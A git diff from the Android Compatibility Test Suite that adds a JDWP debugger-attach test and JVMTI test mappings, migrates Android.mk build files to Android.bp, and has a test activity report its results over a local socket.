+    private static final String TEST_APP_PACKAGE_NAME = "android.jdwptunnel.sampleapp";
+    private static final String TEST_APP_ACTIVITY_CLASS_NAME = "SampleDeviceActivity";
+    private final static String TEST_APP_FULL_CLASS_NAME =
+            TEST_APP_PACKAGE_NAME + "." + TEST_APP_ACTIVITY_CLASS_NAME;
+
+    private ITestDevice mDevice;
+
+    @Before
+    public void setUp() throws Exception {
+        installPackage("CtsJdwpTunnelSampleApp.apk");
+        mDevice = getDevice();
+    }
+
+    private void moveToHomeScreen() throws Exception {
+        // Wakeup the device if it is on the lockscreen and move it to the home screen.
+        mDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        mDevice.executeShellCommand("wm dismiss-keyguard");
+        mDevice.executeShellCommand("input keyevent KEYCODE_HOME");
+    }
+
+    private VirtualMachine getDebuggerConnection(String port) throws Exception {
+        VirtualMachineManager vmm = Bootstrap.virtualMachineManager();
+        AttachingConnector conn =
+                vmm.attachingConnectors().stream()
+                        .filter((x) -> x.transport().name().equals("dt_socket"))
+                        .findFirst()
+                        .orElseThrow(
+                                () -> new Error("Could not find dt_socket connector!"));
+        Map<String, Connector.Argument> params = conn.defaultArguments();
+        params.get("port").setValue(port);
+        params.get("hostname").setValue("localhost");
+        // Timeout after 1 minute
+        params.get("timeout").setValue("60000");
+        return conn.attach(params);
+    }
+
+    private String forwardJdwp(String pid) throws Exception {
+        // Try to have adb figure out the port number.
+        String result = mDevice.executeAdbCommand("forward", "tcp:0", "jdwp:" + pid);
+        if (result != null) {
+            return result.trim();
+        }
+        // We might be using an ancient adb. Try using a static port number instead. Number chosen
+        // arbitrarially. '15002' does not appear in any file as anything resembling a port number
+        // as far as I can tell.
+        final String port = "15002";
+        result = mDevice.executeAdbCommand("forward", "tcp:" + port, "jdwp:" + pid);
+        assertTrue(result != null);
+        return port;
+    }
+
+    private VirtualMachine startupTest() throws Exception {
+        moveToHomeScreen();
+        mDevice.executeShellCommand("cmd activity start-activity -D -W -n " +
+                TEST_APP_PACKAGE_NAME + "/." + TEST_APP_ACTIVITY_CLASS_NAME);
+        // Don't keep trying after a minute.
+        final Instant deadline = Instant.now().plusSeconds(60);
+        String pid = "";
+        while ((pid = mDevice.executeShellCommand(
+                    "pidof " + TEST_APP_PACKAGE_NAME).trim()).equals("")) {
+            if (Instant.now().isAfter(deadline)) {
+                fail("Unable to find PID of " + TEST_APP_PACKAGE_NAME + " process!");
+            }
+            // Wait 1 second and try again.
+            Thread.sleep(1000);
+        }
+        String port = forwardJdwp(pid);
+        assertTrue(!"".equals(port));
+        return getDebuggerConnection(port);
+    }
+
+    /**
+     * Tests that we can attach a debugger and perform basic debugging functions.
+     *
+     * We start the app with Wait-for-debugger. Wait for the ClassPrepare of the activity class and
+     * put and wait for a breakpoint on the onCreate function.
+     *
+     * TODO: We should expand this to more functions.
+     */
+    @Test
+    public void testAttachDebugger() throws DeviceNotAvailableException, Exception {
+        VirtualMachine vm = startupTest();
+        EventRequestManager erm = vm.eventRequestManager();
+        try {
+            // Just pause the runtime so it won't get ahead of us while we setup everything.
+            vm.suspend();
+            // Overall timeout for this whole test. 2-minutes
+            final Instant deadline = Instant.now().plusSeconds(120);
+            // Check the test-activity class is not already loaded.
+            assertTrue(TEST_APP_ACTIVITY_CLASS_NAME + " is not yet loaded!",
+                    vm.allClasses().stream()
+                            .noneMatch(x -> x.name().equals(TEST_APP_FULL_CLASS_NAME)));
+
+            // Wait for the class to load.
+            ClassPrepareRequest cpr = erm.createClassPrepareRequest();
+            cpr.addClassFilter(TEST_APP_FULL_CLASS_NAME);
+            cpr.setSuspendPolicy(EventRequest.SUSPEND_ALL);
+            cpr.enable();
+            vm.resume();
+            ReferenceType activityType = null;
+            while (activityType == null) {
+                if (Instant.now().isAfter(deadline)) {
+                    fail(TEST_APP_FULL_CLASS_NAME + " did not load within timeout!");
+                }
+                activityType = vm.eventQueue().remove().stream()
+                        .filter(e -> cpr == e.request())
+                        .findFirst()
+                        .map(e -> ((ClassPrepareEvent) e).referenceType())
+                        .orElse(null);
+            }
+            cpr.disable();
+            // Set a breakpoint on the onCreate method at the first line.
+            BreakpointRequest bpr = erm.createBreakpointRequest(
+                    activityType.methodsByName("onCreate").get(0).allLineLocations().get(0));
+            bpr.setSuspendPolicy(EventRequest.SUSPEND_ALL);
+            bpr.enable();
+            vm.resume();
+
+            // Wait for the event.
+            while (!vm.eventQueue().remove().stream().anyMatch(e -> e.request() == bpr)) {
+                if (Instant.now().isAfter(deadline)) {
+                    fail(TEST_APP_FULL_CLASS_NAME + " did hit onCreate breakpoint within timeout!");
+                }
+            }
+            bpr.disable();
+            vm.resume();
+        } finally {
+            // Always cleanup.
+            vm.dispose();
+        }
+    }
+}
diff --git a/hostsidetests/jvmti/Android.mk b/hostsidetests/jvmti/Android.mk
deleted file mode 100644
index 64fe597..0000000
--- a/hostsidetests/jvmti/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/TEST_MAPPING b/hostsidetests/jvmti/TEST_MAPPING
new file mode 100644
index 0000000..43f24b1
--- /dev/null
+++ b/hostsidetests/jvmti/TEST_MAPPING
@@ -0,0 +1,274 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsJvmtiAttachingHostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRedefineClassesHostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest902HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest903HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest904HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest905HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest906HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest907HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest908HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest910HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest911HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest912HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest913HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest914HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest915HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest917HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest918HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest919HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest920HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest922HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest923HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest924HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest926HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest927HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest928HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest930HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest931HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest932HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest940HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest942HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest944HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest945HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest947HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest951HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest982HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest983HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest984HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest985HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest986HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest988HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest989HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest990HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest991HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest992HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest993HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest994HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest995HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest996HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest997HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1900HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1901HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1902HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1903HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1904HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1906HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1907HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1908HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1909HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1910HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1911HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1912HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1913HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1914HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1915HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1916HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1917HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1920HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1921HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1922HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1923HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1924HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1925HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1926HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1927HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1928HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1930HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1931HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1932HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1933HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1934HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1936HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1937HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1939HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1941HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1942HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1943HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1953HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1958HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiTaggingHostTestCases"
+    },
+    {
+      "name": "CtsJvmtiTrackingHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/jvmti/allocation-tracking/Android.bp b/hostsidetests/jvmti/allocation-tracking/Android.bp
new file mode 100644
index 0000000..8c87af5
--- /dev/null
+++ b/hostsidetests/jvmti/allocation-tracking/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiTrackingHostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/jvmti/allocation-tracking/Android.mk b/hostsidetests/jvmti/allocation-tracking/Android.mk
deleted file mode 100644
index 15c3e50..0000000
--- a/hostsidetests/jvmti/allocation-tracking/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiTrackingHostTestCases
-
-include $(LOCAL_PATH)/../host_side.mk
diff --git a/hostsidetests/jvmti/allocation-tracking/AndroidTest.xml b/hostsidetests/jvmti/allocation-tracking/AndroidTest.xml
index 21a5cc7..0760f04 100644
--- a/hostsidetests/jvmti/allocation-tracking/AndroidTest.xml
+++ b/hostsidetests/jvmti/allocation-tracking/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/allocation-tracking/OWNERS b/hostsidetests/jvmti/allocation-tracking/OWNERS
new file mode 100644
index 0000000..2dbff0d
--- /dev/null
+++ b/hostsidetests/jvmti/allocation-tracking/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include ../run-tests/OWNERS
diff --git a/hostsidetests/jvmti/allocation-tracking/app/Android.bp b/hostsidetests/jvmti/allocation-tracking/app/Android.bp
new file mode 100644
index 0000000..d2d5feb
--- /dev/null
+++ b/hostsidetests/jvmti/allocation-tracking/app/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiTrackingDeviceApp",
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: ["CtsJvmtiDeviceAppBase"],
+    jni_libs: ["libctsjvmtiagent"],
+    compile_multilib: "both",
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/allocation-tracking/app/Android.mk b/hostsidetests/jvmti/allocation-tracking/app/Android.mk
deleted file mode 100644
index a5fd7c3..0000000
--- a/hostsidetests/jvmti/allocation-tracking/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiTrackingDeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java b/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java
index 6c22f37..b00c1da 100644
--- a/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java
+++ b/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java
@@ -14,6 +14,7 @@
 package android.jvmti.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import java.util.ArrayList;
 import org.junit.Before;
@@ -61,10 +62,11 @@
 
         enableAllocationTracking(null, false);
 
-        assertEquals(
-                "ObjectAllocated type java.lang.Object/java.lang.Object size 8#"
-                        + "ObjectAllocated type java.lang.Integer/java.lang.Integer size 16#",
-                        getAndResetAllocationTrackingString());
+        String trackingString = getAndResetAllocationTrackingString();
+        String object_line = "ObjectAllocated type java.lang.Object/java.lang.Object size 8#";
+        String integer_line = "ObjectAllocated type java.lang.Integer/java.lang.Integer size 16#";
+        assertTrue("does not contain " + object_line, trackingString.contains(object_line));
+        assertTrue("does not contain " + integer_line, trackingString.contains(integer_line));
 
         l.add(new Float(1.0f));
 
diff --git a/hostsidetests/jvmti/attaching/Android.bp b/hostsidetests/jvmti/attaching/Android.bp
new file mode 100644
index 0000000..48b095e
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/Android.bp
@@ -0,0 +1,89 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiAttachingDeviceApp",
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    srcs: ["app/src/**/*.java"],
+    manifest: "app/AndroidManifest.xml",
+    jni_libs: ["libctsjvmtiattachagent"],
+    compile_multilib: "both",
+    sdk_version: "test_current",
+}
+
+cc_library_shared {
+    name: "libctsjvmtiattachagent",
+    srcs: ["app/jni/cts_agent.cpp"],
+    header_libs: ["libopenjdkjvmti_headers"],
+    shared_libs: [
+        "liblog",
+        "libdl",
+        "libz",
+    ],
+
+    // The test implementation. We get this provided by ART.
+    // Note: Needs to be "whole" as this exposes JNI functions.
+    whole_static_libs: ["libctstiagent"],
+    sdk_version: "current",
+
+    // Platform libraries that may not be available to apps. Link in statically.
+    static_libs: ["libbase_ndk"],
+    strip: {
+        keep_symbols: true,
+    },
+    // Turn on all warnings.
+    cflags: [
+        "-fno-rtti",
+        "-ggdb3",
+        "-Wall",
+        "-Wextra",
+        "-Werror",
+        "-Wunreachable-code",
+        "-Wredundant-decls",
+        "-Wshadow",
+        "-Wunused",
+        "-Wimplicit-fallthrough",
+        "-Wfloat-equal",
+        "-Wint-to-void-pointer-cast",
+        "-Wused-but-marked-unused",
+        "-Wdeprecated",
+        "-Wunreachable-code-break",
+        "-Wunreachable-code-return",
+        "-g",
+        "-O0",
+    ],
+    stl: "c++_static",
+}
+
+java_test_host {
+    name: "CtsJvmtiAttachingHostTestCases",
+    srcs: ["host/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    test_config: "host/AndroidTest.xml",
+    data: [":CtsJvmtiAttachingDeviceApp"],
+}
diff --git a/hostsidetests/jvmti/attaching/Android.mk b/hostsidetests/jvmti/attaching/Android.mk
deleted file mode 100644
index 38e1a4f..0000000
--- a/hostsidetests/jvmti/attaching/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/attaching/OWNERS b/hostsidetests/jvmti/attaching/OWNERS
new file mode 100644
index 0000000..2dbff0d
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include ../run-tests/OWNERS
diff --git a/hostsidetests/jvmti/attaching/app/Android.mk b/hostsidetests/jvmti/attaching/app/Android.mk
deleted file mode 100644
index 59cb61b..0000000
--- a/hostsidetests/jvmti/attaching/app/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiattachagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiAttachingDeviceApp
-
-include $(BUILD_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/attaching/app/AndroidManifest.xml b/hostsidetests/jvmti/attaching/app/AndroidManifest.xml
index feb7b24..7c21f04 100755
--- a/hostsidetests/jvmti/attaching/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/attaching/app/AndroidManifest.xml
@@ -17,6 +17,8 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.jvmti.cts.attaching">
+    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
 
     <application android:name="android.jvmti.JvmtiApplication" android:debuggable="true">
         <activity android:exported="true" android:name="android.jvmti.JvmtiActivity" >
diff --git a/hostsidetests/jvmti/attaching/app/jni/Android.mk b/hostsidetests/jvmti/attaching/app/jni/Android.mk
deleted file mode 100644
index a2c1db6..0000000
--- a/hostsidetests/jvmti/attaching/app/jni/Android.mk
+++ /dev/null
@@ -1,65 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsjvmtiattachagent
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := cts_agent.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-LOCAL_HEADER_LIBRARIES := libopenjdkjvmti_headers
-
-LOCAL_SHARED_LIBRARIES := liblog \
-                          libdl \
-                          libz
-
-# The test implementation. We get this provided by ART.
-# Note: Needs to be "whole" as this exposes JNI functions.
-LOCAL_WHOLE_STATIC_LIBRARIES := libctstiagent
-
-# Platform libraries that may not be available to apps. Link in statically.
-LOCAL_STATIC_LIBRARIES += libbase_ndk
-
-LOCAL_STRIP_MODULE := keep_symbols
-
-# Turn on all warnings.
-LOCAL_CFLAGS :=  -fno-rtti \
-                 -ggdb3 \
-                 -Wall \
-                 -Wextra \
-                 -Werror \
-                 -Wunreachable-code \
-                 -Wredundant-decls \
-                 -Wshadow \
-                 -Wunused \
-                 -Wimplicit-fallthrough \
-                 -Wfloat-equal \
-                 -Wint-to-void-pointer-cast \
-                 -Wused-but-marked-unused \
-                 -Wdeprecated \
-                 -Wunreachable-code-break \
-                 -Wunreachable-code-return \
-                 -g \
-                 -O0 \
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiActivity.java b/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiActivity.java
index 88a0fa9..aa8a5ed 100644
--- a/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiActivity.java
+++ b/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiActivity.java
@@ -18,20 +18,68 @@
 
 import android.app.Activity;
 import android.os.Bundle;
-
+import android.util.Log;
+import android.net.LocalSocket;
+import android.net.LocalSocketAddress;
+import java.io.ByteArrayOutputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
 import java.lang.Override;
 
+import java.io.PrintStream;
+import java.nio.charset.Charset;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+
 /**
  * A specialized activity. This is separate from the other agent tests as we can't use
  * instrumentation for this.
  */
 public class JvmtiActivity extends Activity {
 
+    private static final String SOCK_NAME = "CtsJvmtiAttachingHostTestCases_SOCKET";
     private final static String APP_DESCRIPTOR = "Landroid/jvmti/JvmtiApplication;";
     @Override
     public void onCreate(Bundle icicle) {
         super.onCreate(icicle);
+        try {
+          runTest();
+          returnResult("SUCCESS");
+        } catch (Throwable e) {
+          ByteArrayOutputStream baos = new ByteArrayOutputStream();
+          e.printStackTrace(new PrintStream(baos));
 
+          returnResult("FAILED: " + baos.toString());
+        }
+    }
+
+    void returnResult(final String s) {
+      // Annoying, well-intentioned, 'sanity' checks prevent us from performing network actions on
+      // the current thread. Create another one and wait for it.
+      Thread t = new Thread(() -> {
+          try (LocalSocket ls = new LocalSocket()) {
+              // LocalSocket doesn't support timeout. It doesn't really matter since the host-side
+              // has one.
+              ls.connect(new LocalSocketAddress(SOCK_NAME));
+              DataOutputStream dos = new DataOutputStream(ls.getOutputStream());
+              dos.writeUTF(s);
+              dos.flush();
+              ls.shutdownOutput();
+              // Wait for the other end to close the connection.
+              while (-1 != ls.getInputStream().read()) {}
+          } catch (IOException e) {
+              ByteArrayOutputStream baos = new ByteArrayOutputStream();
+              e.printStackTrace(new PrintStream(baos));
+              Log.wtf("JvmtiActivity", "Could not connect to result socket! " + e + baos.toString());
+          }
+      });
+      t.start();
+      try {
+        t.join();
+      } catch (Exception e) {}
+    }
+
+    public void runTest() throws Exception {
         System.out.println("Checking for " + APP_DESCRIPTOR);
         if (!didSeeLoadOf(APP_DESCRIPTOR)) {
             throw new IllegalStateException("Did not see the load of the application class!");
diff --git a/hostsidetests/jvmti/attaching/host/Android.mk b/hostsidetests/jvmti/attaching/host/Android.mk
deleted file mode 100644
index f236fb0..0000000
--- a/hostsidetests/jvmti/attaching/host/Android.mk
+++ /dev/null
@@ -1,26 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
